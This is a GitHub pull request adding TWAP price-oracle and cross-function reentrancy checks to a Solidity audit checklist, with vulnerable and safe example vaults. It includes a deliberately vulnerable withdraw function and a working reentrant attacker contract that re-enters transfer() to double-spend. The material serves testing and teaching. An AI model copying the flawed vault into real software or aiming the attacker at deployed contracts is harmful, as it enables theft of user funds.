Skip to content

Add TWAP price-oracle and cross-function reentrancy check classes#62

Open
Pattermesh wants to merge 1 commit into
mainfrom
pattermesh/audit-checklist-oracle-reentrancy
Open

Add TWAP price-oracle and cross-function reentrancy check classes#62
Pattermesh wants to merge 1 commit into
mainfrom
pattermesh/audit-checklist-oracle-reentrancy

Conversation

@Pattermesh

Copy link
Copy Markdown
Contributor

What

Adds the two highest-frequency real-world exploit classes that were missing from the executable checklist, each wired in exactly like the existing checks (abstract check class subclassing ChecklistBase + vulnerable/safe example contracts + Foundry test template + README/web/CI wiring):

1. TWAPOracleCheck — price-oracle / TWAP manipulation

The stronger sibling of OracleCheck: instead of merely diffing a price before/after, it models the defense. It manipulates the underlying source within a single block (no time advance) and asserts that the price the contract under audit acts on does not drift past a tolerance (default 10%).

  • A spot-price reader (VulnerableSpotOracleConsumer) jumps immediately and is flagged.
  • A TWAP reader (SafeTWAPOracleConsumer) is unmoved within one block — its accumulator only advances with elapsed time — and passes.
  • This is the bZx (2020), Harvest, Cheese Bank, and Inverse Finance exploit class.
  • Fixtures include a self-contained Uniswap-V2-style MockTWAPPair exposing both a spot price and a cumulative-price accumulator.

2. CrossFunctionReentrancyCheck — cross-function reentrancy

Distinct from ReentrancyCheck (single-function CEI re-entry). Here two functions share state, one (withdraw) makes an external call before settling that state, and the attacker re-enters through the other function (transfer) during the callback to move its still-credited balance to an accomplice — turning one deposit into a double-spend.

  • VulnerableCrossFunctionVault (unguarded shared balances) is flagged.
  • SafeCrossFunctionVault (shared nonReentrant lock spanning both entry points) passes.
  • This is the Lendf.Me / dForce class (2020); a guard on only one path does not stop it.

Both checks expose a side-effect-free detect…() returning bool (so harnesses can assert detection without tripping forge-std's global failure flag) plus the conventional test_* method that calls fail() on detection, matching every other check in the repo.

Wiring

  • README.md — vulnerability-class table + architecture tree
  • web/index.html — two new entries in the interactive explorer (render now honors an optional per-check run command)
  • .github/workflows/audit.yml — added the two new Example…Audit demo contracts to the documented gate-exclusion list, consistent with the existing demos

Verification

forge build            -> Compiler run successful (new files are warning-clean)
forge test --no-match-contract '^(Example|TestERC4626)'
                       -> 9 passed; 0 failed; 0 skipped

The two new safe-variant suites (TWAPOracleCheckPassesTWAPConsumer, CrossFunctionReentrancyCheckPassesSafe) pass in the clean CI gate. Detection demos confirm the vulnerable variants are caught:

  • TWAP: flags 1150% single-block drift on the spot consumer.
  • Cross-function: flags 1e18 double-spend credit parked on the accomplice.

🤖 Generated with Claude Code

Adds the two highest-frequency real-world exploit classes that were
missing from the executable checklist, each with vulnerable + safe
example contracts and self-checking Foundry test templates that pass
against the safe variant and catch the vulnerable variant.

TWAPOracleCheck: models the defense, not just the price diff. Manipulates
the underlying source within a single block and asserts the price the
contract acts on resists it. A spot reader moves and is flagged; a TWAP
reader is unmoved and passes. (bZx / Harvest / Inverse Finance class.)

CrossFunctionReentrancyCheck: two functions share state, one calls out
before settling, the attacker re-enters through the OTHER function to
double-spend. A nonReentrant guard on only one path does not stop it.
(Lendf.Me / dForce class, 2020.)

Both checks expose a side-effect-free detector returning bool (so
harnesses can assert detection without tripping the global failure flag)
plus the conventional test_* method that calls fail() on detection.

Wired into the README table + architecture, the web explorer, and the
CI gate exclusion list, mirroring the existing checks.

Verification:
- forge build: Compiler run successful (new files warning-clean)
- forge test --no-match-contract '^(Example|TestERC4626)':
  9 passed, 0 failed (incl. both new safe-variant suites)
- Detection demos: TWAP flags 1150% single-block drift;
  cross-function flags 1e18 double-spend credit parked on accomplice.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Comment on lines +60 to +68
function withdraw() external {
uint256 bal = balances[msg.sender];
require(bal > 0, "no balance");

(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "transfer failed");

balances[msg.sender] = 0; // Too late — credit already moved cross-function.
}
Comment on lines +102 to +128
contract CrossFunctionReentrantAttacker {
address public target;
bytes public withdrawPayload;
bytes public reentrantPayload;
bool private entered;

constructor(address _target, bytes memory _withdraw, bytes memory _reentrant) {
target = _target;
withdrawPayload = _withdraw;
reentrantPayload = _reentrant;
}

function attack() external {
(bool ok,) = target.call(withdrawPayload);
ok; // detection is via surviving credit, not call success
}

receive() external payable {
if (!entered) {
entered = true;
// Cross-function re-entry: call the OTHER function while the
// withdraw that sent us this ETH has not yet zeroed our balance.
(bool ok,) = target.call(reentrantPayload);
ok;
}
}
}

/// @dev Attacker that re-enters a DIFFERENT function on the payout callback.
contract CrossFunctionReentrantAttacker {
address public target;
Comment on lines +39 to +69
contract VulnerableCrossFunctionVault {
mapping(address => uint256) public balances;

function deposit() external payable {
balances[msg.sender] += msg.value;
}

/// @dev Internal transfer of credit between accounts. Shares `balances`
/// with withdraw() but has NO reentrancy protection and can be called
/// mid-withdraw.
function transfer(address to, uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient");
balances[msg.sender] -= amount;
balances[to] += amount;
}

/// @dev BUG: external call before the state write. While the call is in
/// flight `balances[msg.sender]` is still funded, so a re-entrant
/// `transfer()` can siphon that credit to an accomplice. The later
/// `balances[msg.sender] = 0` zeroes an already-emptied slot — the
/// moved credit survives.
function withdraw() external {
uint256 bal = balances[msg.sender];
require(bal > 0, "no balance");

(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "transfer failed");

balances[msg.sender] = 0; // Too late — credit already moved cross-function.
}
}
Comment on lines +75 to +98
contract SafeCrossFunctionVault is SimpleReentrancyGuard {
mapping(address => uint256) public balances;

function deposit() external payable {
balances[msg.sender] += msg.value;
}

function transfer(address to, uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "insufficient");
balances[msg.sender] -= amount;
balances[to] += amount;
}

function withdraw() external nonReentrant {
uint256 bal = balances[msg.sender];
require(bal > 0, "no balance");

// Checks-effects-interactions AND a shared lock — belt and suspenders.
balances[msg.sender] = 0;

(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "transfer failed");
}
}
Comment on lines +48 to +56
function _accumulate() internal {
uint32 nowTs = uint32(block.timestamp);
uint32 timeElapsed = nowTs - blockTimestampLast;
if (timeElapsed > 0 && reserve0 > 0) {
uint256 price0 = (uint256(reserve1) * 1e18) / uint256(reserve0);
price0CumulativeLast += price0 * timeElapsed;
blockTimestampLast = nowTs;
}
}
@abhicris

Copy link
Copy Markdown
Contributor

Welcome to kcolbchain, @Pattermesh — glad you're here. 🌱

Here's what happens from this PR:

  1. Our automated review looks for obvious issues (tests, secrets, size) within a couple of hours.
  2. If it's clean and CI passes, we merge without back-and-forth.
  3. If we need changes, we'll leave a specific comment — not a generic nit. Push another commit and we re-review.

While you wait:

  • Run the repo's tests locally (see the repo README.md).
  • Keep the PR scoped to one concern — bigger PRs land slower.
  • Don't commit tokens or .env contents.

What happens after your first merge

Thanks for writing the code. We're building this to last.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants